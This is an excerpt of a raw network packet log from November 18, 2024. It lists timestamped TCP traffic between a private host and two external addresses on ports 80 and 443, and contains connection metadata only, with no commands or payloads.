Nov 18, 2024 20:21:33.093806982 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093818903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093832016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093832970 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.093852043 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.093923092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093934059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093945026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093956947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093964100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.093971014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.093991995 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094007015 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094110966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094122887 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094135046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094146013 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094156981 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094157934 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094171047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094172001 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094193935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094203949 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094214916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094216108 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094227076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094233990 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094238997 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094250917 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.094259977 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094296932 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.094989061 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095000029 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095005989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095041037 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095047951 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.095055103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095066071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.095073938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.095102072 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.133681059 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.133692980 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.133704901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.133728027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.140425920 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.140436888 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.140449047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.140471935 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.140506029 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.165221930 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.165699005 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.165724993 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.166060925 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.166150093 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.166157007 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.166378021 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.166410923 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.166733980 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.166740894 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.169475079 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.169693947 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.169704914 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.170034885 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.170039892 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.186918020 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.186939001 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.186959028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.186971903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.186985016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.186990976 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.187010050 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.187066078 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.189420938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.210483074 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.210563898 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.210741997 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.210768938 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.210793018 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.210808039 CET	49764	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.210813999 CET	443	49764	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.213515043 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.213552952 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.213619947 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.213747025 CET	49769	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.213757038 CET	443	49769	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.216701031 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216731071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216742039 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216753960 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216773033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.216804028 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.216866016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216876984 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216888905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216901064 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216907024 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.216913939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216921091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216931105 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216942072 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216954947 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.216957092 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.216983080 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.216991901 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217102051 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217113018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217124939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217133045 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217138052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217148066 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217149973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217161894 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217174053 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217199087 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217199087 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217209101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217221022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217231989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217236996 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217243910 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217256069 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217274904 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217299938 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217622995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217634916 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217665911 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.217694044 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217704058 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217715025 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.217734098 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.253916979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.253937006 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.253952026 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.253967047 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.254015923 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.254074097 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.260545969 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.260592937 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.260605097 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.260617018 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.260648012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.260675907 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.295460939 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.295737982 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.295877934 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.295916080 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.295945883 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.295989990 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.296073914 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.296075106 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.296075106 CET	49767	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.296101093 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.296118021 CET	49766	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.296119928 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.296127081 CET	443	49766	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.296164036 CET	443	49767	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.299118996 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299206972 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.299226999 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299268961 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.299298048 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299328089 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299500942 CET	49770	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299534082 CET	443	49770	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.299561024 CET	49771	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.299575090 CET	443	49771	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.306998968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307018995 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307034016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307066917 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.307463884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307497978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307507038 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.307511091 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.307548046 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.312144041 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.312236071 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.312298059 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.312441111 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.312448978 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.312463999 CET	49765	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.312469959 CET	443	49765	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.314920902 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.314949036 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.315020084 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.315151930 CET	49772	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.315161943 CET	443	49772	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.334942102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.334970951 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335016966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335066080 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335067034 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335078955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335091114 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335103989 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335117102 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335120916 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335131884 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335144997 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335160971 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335262060 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335273027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335308075 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335364103 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335376978 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335417032 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335429907 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335442066 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335453987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.335467100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.335493088 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336662054 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336679935 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336694002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336721897 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336781979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336795092 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336807966 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336818933 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336822033 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336843014 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336879015 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336893082 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336904049 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336926937 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336947918 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.336980104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.336993933 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337028027 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.337199926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337224007 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337236881 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337260008 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.337300062 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337316036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337336063 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.337584019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337604046 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337618113 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337630987 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.337644100 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.337668896 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.373975992 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.373996019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.374010086 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.374048948 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.374089003 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.381299019 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.381781101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.381803036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.381846905 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.394690990 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.395226002 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.395289898 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.395704031 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.395718098 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.427232027 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427251101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427268028 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427304029 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.427364111 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.427582979 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427629948 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427642107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.427673101 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455270052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455332994 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455346107 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455357075 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455363989 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455368042 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455379963 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455393076 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455405951 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455420017 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455432892 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455442905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455446959 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455456972 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455482960 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455507994 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455576897 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455598116 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455610991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455621958 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455635071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.455646038 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.455672979 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.456120014 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456377983 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456424952 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.456751108 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456792116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.456836939 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456850052 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456862926 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456872940 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.456890106 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.456897974 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.456954002 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457015991 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457029104 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457040071 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457060099 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457072973 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457087994 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457314968 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457326889 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457339048 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457360983 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457389116 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457397938 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457408905 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457453012 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457729101 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457741022 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457751036 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457788944 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457799911 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457811117 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457822084 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.457844019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.457854033 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.459095955 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.459106922 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.459151983 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.494328976 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.494345903 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.494359016 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.494431019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.501421928 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.501458883 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.501471996 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.501482964 CET	80	49748	185.215.113.16	192.168.2.5
Nov 18, 2024 20:21:33.501559019 CET	49748	80	192.168.2.5	185.215.113.16
Nov 18, 2024 20:21:33.527209044 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.527340889 CET	443	49768	13.107.246.45	192.168.2.5
Nov 18, 2024 20:21:33.527471066 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.527710915 CET	49768	443	192.168.2.5	13.107.246.45
Nov 18, 2024 20:21:33.527762890 CET	443	49768	13.107.246.45	192.168.2.5
